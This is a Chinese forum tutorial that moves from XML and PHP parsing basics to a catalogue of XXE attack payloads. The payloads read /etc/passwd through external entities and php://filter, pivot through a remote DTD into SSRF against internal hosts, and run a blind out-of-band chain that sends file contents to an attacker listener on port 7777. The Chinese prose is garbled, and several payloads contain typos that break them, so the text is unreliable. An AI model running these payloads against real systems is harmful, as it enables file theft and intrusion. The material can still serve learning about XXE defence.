马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
XML语言底子
XML的标签对巨细写敏感。
XML必须精确的嵌套。
- <root>
- <hero>
- <name>妲己</name>第0个节点
- <jineng>爱心</jineng>
- </hero>
- <hero>
- <name>亚瑟</name>第二个节点
- <jineng>旋转</jineng>
- </hero>
- </root>
复制代码 在文件中用到大于号和小于号,利用CDATA[]包裹起来即可,包裹之中的大于号和小于号就不会被看乐成能性符号执行。
利用PHP执行XML文件
- <root>
- <man>
- <name>程咬金</name>
- <age>2000</age>
- </man>
- <man>
- <name>赵云</name>
- <age>1700</age>
- </man>
- </root>
复制代码 simplexml_load_file()函数
- <?php
- $xml = simplexml_load_file('3.xml');
- echo $xml->man[0]->name;
- ?>
复制代码 domdocument()函数
- <?php
- $xml = new domdocument();//实例化
- $xml->load('3.xml');//加载文件
- print_r($xml->saveXML());
- ?>
复制代码- <?php
- $xml = new domdocument();//实例化
- $xml->load('3.xml');//加载文件
- $age = $xml->getElementsByTagName('age')->item(1)->nodeValue;//读取对应的内容
- $name = $xml->getElementsByTagName('name')->item(0)->nodeValue;
- echo $age;
- echo $name;
- ?>
复制代码 肴杂利用
- <?php
- $xmlfile = file_get_contents('3.xml');
- $xmlDoc = new DOMDocument();
- $xmlDoc ->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
- $creds = simplexml_import_dom($xmlDoc);
- $name = $creds->man[1]->name;
- print $name;
- ?>
复制代码 内部的DOCTYPE声明
利用DOCTYPE标签,对xml文件起束缚作用。
内部声明:
- <!DOCTYPE root[
- <!ELEMENT root (man)>//root中只能是man
- <!ELEMENT man (name,age)>//man中只能有name和age
- <!ELEMENT name (#PCDATA)>
- <!ELEMENT age (#PCDATA)>
- ]>
复制代码 外部声明:
- 在之后构造payload时不要有回车,不要换行。
- <!DOCTYPE [
- //外部声明
- <!ENTITY ben SYSTEM "file:///etc/passwd">
- ]
复制代码 实体
平常实体
- <!DOCTYPE root[
- <!ENTITY ben "dazhuang">
- <!ENTITY lao6 SYSTEM "http://www.baidu.com/robots.txt">
- ]>
- <root>
- <man>
- <name>wo shi &ben;</name>
- </man>
- </root>
- 调用的时候使用&+ben+;
复制代码 参数实体
- 参数实体使用%,而不是&。
- <!DOCTYPE root[
- <!ENTITY % ben "dazhuang">
- <!ENTITY % lao6 SYSTEM "http://192.168.1.151/1.dtd">//1.dtd里面参数san
- %lao6//调用参数实体
- ]>
- <root>
- <man>
- <name>wo shi &san;</name>
- </man>
- </root>
复制代码 XXE常见利用伎俩
file被过滤
有回显
利用参数,去别的文件获取到恶意代码。
差别的方法:
1、利用参数实体检索文件
2、利用XXE命名实体及外部实体读取文件
- 1.dtd文件
- <!ENTITY ben SYSTEM "file:///etc/passwd">
复制代码- 传参
- <!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://192.168.1.151/1.dtd"> %xxe;]>
复制代码 如许就可以获取到网站的一些文件。
3、利用XXE举行SSRF毛病利用
- <!doctype root [<!ENTITY xxe SYSTEM "http://192.168.1.6:18091/?cmd=cat /etc/passwd"]>
复制代码 4、利用XXE利用php伪协议读取文件
- <!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=/etc/passwd">]>
复制代码 5、php伪协议共同SSRF
- <!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=http://192.168.1.6:18091/?cmd=cat index.php">]>
复制代码 无回显
1、a,参数实体,读取/etc/passwd
2、b,平常实体,http://kali_ip/%a;
- <!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY req SYSTEM "http://192.168.1.151/%xxe;">]>
- 因为普通实体里面不能调用参数实体,所以需要构造。
复制代码- 1.dtd文件
- <!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.1.151:7777?p=%file;'>">
复制代码- <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.151/1.dtd">%remote;%int;%send;]>
- 参数实体会触发调用1.dtd的内容。
- 7就是指%
复制代码 打开http公网的服务,监听7777端口,再举行访问,即可检察内容。
|